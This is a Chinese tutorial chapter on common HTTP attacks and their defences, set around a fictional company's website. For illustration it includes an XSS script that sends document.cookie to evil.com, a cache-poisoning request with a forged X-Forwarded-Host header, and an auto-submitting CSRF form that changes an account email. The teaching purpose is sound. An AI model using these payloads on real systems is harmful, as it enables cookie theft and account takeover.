HTTP常见攻击与防御
概念引入
广州飞翔科技的官网 www.feixiang.net 每天接待数万用户。就像一家热闹的餐厅,生意好了难免招来"特殊客人":有人想混进后厨偷配方(窃取数据),有人在菜单上乱涂乱画(篡改内容),还有人冒充服务员骗顾客转账(伪造请求)。
HTTP 协议本身是无状态、明文传输的(早期),这些特性在带来简单灵活的同时,也留下了安全隐患。本章用飞翔公司的真实场景,讲解最常见的 HTTP 攻击手段和防御之道。
核心内容
XSS:跨站脚本攻击
XSS(Cross-Site Scripting,跨站脚本攻击)是指攻击者向网页注入恶意脚本,当其他用户浏览该页面时,脚本在其浏览器中执行,可窃取 Cookie、会话令牌,或伪造用户操作。
飞翔公司场景:鸣哥(内容运营)在官网文章评论区审核不严,攻击者发布了一条评论:
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
雁姐(用户运营)在后台查看评论时,这段脚本执行,她的管理员 Cookie 被发送到攻击者服务器。攻击者拿到 Cookie 后,直接登录了雁姐的后台账号。
防御措施:
| 防御手段 | 说明 | 飞翔公司实践 |
|---|---|---|
| 输入过滤 | 对用户输入进行转义和校验 | 空少(前端)对所有表单输入做 HTML 实体编码 |
| 输出编码 | 页面渲染时对动态内容编码 | 航仔(后端)使用模板引擎自动转义 |
| CSP(内容安全策略) | 通过响应头限制页面可加载的资源来源 | 翼王(架构师)配置 Content-Security-Policy: script-src 'self' |
| HttpOnly Cookie | 禁止 JavaScript 读取 Cookie | 凌叔(运维)在 Nginx 层统一设置 Set-Cookie: session=xxx; HttpOnly |
CSRF:跨站请求伪造
CSRF(Cross-Site Request Forgery,跨站请求伪造)是指攻击者诱导已登录用户访问恶意链接,利用用户的已认证身份向目标网站发起非自愿的请求。
飞翔公司场景:波比(活动运营)登录了飞翔官网后台。他收到一封邮件:"点击查看年度优秀运营名单",点击后实际上访问了:
https://www.feixiang.net/admin/activity/delete?id=123
波比的浏览器自动带上他的登录 Cookie,服务器以为是波比自己发起的删除请求——一个重要活动被误删。
防御措施:
| 防御手段 | 原理 |
|---|---|
| SameSite Cookie | 设置 SameSite=Strict 或 Lax,禁止第三方网站携带 Cookie |
| CSRF Token | 服务器生成随机令牌嵌入表单,提交时校验 |
| Referer 检查 | 校验请求来源是否为本站域名 |
中间人攻击
中间人攻击(Man-in-the-Middle Attack,MITM)是指攻击者插入到客户端和服务器之间的通信链路中,窃听、篡改甚至劫持通信内容。
飞翔公司场景:靓晴(UI 设计)在咖啡厅连了一个名为 Feixiang-Guest-Free 的免费 WiFi(实际上是攻击者的热点)。她访问 http://www.feixiang.net 时,攻击者可以:
- 窃听她输入的登录密码
- 把下载的设计素材替换成病毒文件
- 篡改页面内容插入钓鱼链接
防御措施:
- HTTPS:TLS 加密传输,即使被截获也无法解密
- HSTS(HTTP 严格传输安全):强制浏览器只用 HTTPS 访问,防止降级攻击
- 证书固定(Certificate Pinning):APP 内置服务器证书指纹,防止伪造证书
会话劫持
会话劫持(Session Hijacking)是指攻击者窃取用户的 Session ID(会话标识符),冒充用户身份进行操作。
窃取途径:
- XSS 脚本读取未标记 HttpOnly 的 Cookie
- 网络嗅探(未使用 HTTPS 时)
- 猜测弱 Session ID
飞翔公司防御:
- 凌叔配置所有 Cookie 带
HttpOnly; Secure; SameSite=Strict - 航仔实现 Session 定期轮换机制,每 15 分钟更新一次 Session ID
- 风速(算法)在登录时检测异常 IP 和设备指纹
点击劫持
点击劫持(Clickjacking)是指攻击者将目标网站嵌入透明的 <iframe>,覆盖在恶意按钮之上,诱导用户点击。
场景:攻击者做一个"领取飞翔科技周边"的页面,底层透明嵌入飞翔官网的"删除账号"按钮。云吞(社群运营)点击"领取",实际上触发了账号删除。
防御:
X-Frame-Options响应头:DENY(禁止嵌入)或SAMEORIGIN(仅同域可嵌入)- CSP
frame-ancestors:更现代的替代方案,如frame-ancestors 'self'
缓存投毒
缓存投毒(Cache Poisoning)是指攻击者向代理或 CDN 缓存注入恶意响应,使得后续所有用户收到被污染的内容。
飞翔公司场景:攻击者发送一个带有异常头部的请求:
GET /index.html HTTP/1.1
Host: www.feixiang.net
X-Forwarded-Host: evil.com
如果 CDN 把响应缓存了,并且响应中包含基于 X-Forwarded-Host 生成的绝对 URL(如重定向地址),后续所有用户访问首页都会被重定向到恶意网站。
防御:严格验证缓存键,不根据不可信头部生成缓存内容;凌叔在 CDN 层配置忽略危险的请求头部。
攻击-防御速查表
| 攻击类型 | 核心危害 | 关键防御 |
|---|---|---|
| XSS | 窃取 Cookie、伪造操作 | 编码输出、CSP、HttpOnly |
| CSRF | 利用已登录身份发起恶意请求 | SameSite、CSRF Token |
| 中间人攻击 | 窃听、篡改通信 | 全站 HTTPS、HSTS |
| 会话劫持 | 冒充用户身份 | HttpOnly、Secure、定期轮换 |
| 点击劫持 | 诱导用户误操作 | X-Frame-Options、CSP |
| 缓存投毒 | 污染公共缓存 | 严格验证缓存键、清理不可信头部 |
本篇小结
- XSS:向页面注入恶意脚本,防御核心是"永远不要信任用户输入"
- CSRF:利用用户已登录状态发起伪造请求,防御核心是"确认请求是用户自愿发起的"
- 中间人攻击:窃听或篡改通信链路,防御核心是"全站 HTTPS + HSTS"
- 会话劫持:窃取 Session ID 冒充用户,防御核心是"Cookie 安全属性 + Session 轮换"
- 点击劫持:透明 iframe 覆盖诱导点击,防御核心是"禁止页面被嵌入"
- 缓存投毒:污染 CDN/代理缓存,防御核心是"严格校验缓存键"
- 安全是分层防御,没有银弹,飞翔公司的"安全洋葱"需要每一层都坚固
动手实践
温馨提示: 以下实践示例中涉及的域名(如
www.feixiang.net)、公司场景和接口均为虚构数据,仅用于演示协议原理,实际执行时可能不会产生文档中描述的效果。建议将命令中的域名替换为你自己可访问的真实地址进行练习。
实践:检查网站安全响应头
# 查看飞翔官网的安全头部
curl -I https://www.feixiang.net
# 检查以下头部是否存在:
# Strict-Transport-Security: max-age=31536000; includeSubDomains
# X-Frame-Options: SAMEORIGIN
# X-Content-Type-Options: nosniff
# Content-Security-Policy: default-src 'self'
# Set-Cookie: ...; HttpOnly; Secure; SameSite=Strict
实践:用浏览器测试 CSRF 防护
- 登录
www.feixiang.net - 在另一个标签页打开一个恶意 HTML 文件:
<!-- evil.html -->
<form action="https://www.feixiang.net/admin/change-email" method="POST" id="csrf">
<input name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('csrf').submit();</script>
- 观察是否被拦截(如果网站有 CSRF Token 或 SameSite 保护,请求会失败)
实践:用 openssl 检查 HSTS 和证书链
# 查看TLS握手详情和证书信息
openssl s_client -connect www.feixiang.net:443 -servername www.feixiang.net
# 检查HSTS头部
# 在交互模式中输入:
# HEAD / HTTP/1.1
# Host: www.feixiang.net
# [回车]
实践:思考题
- 空少在前端做了输入过滤,航仔在后端还需要再做一遍吗?为什么?
- 飞翔公司的移动端 APP 如何防范中间人攻击(尤其是用户可能安装伪造证书的情况)?
- 凌叔发现 CDN 节点返回了异常内容,如何判断是缓存投毒还是源站被入侵?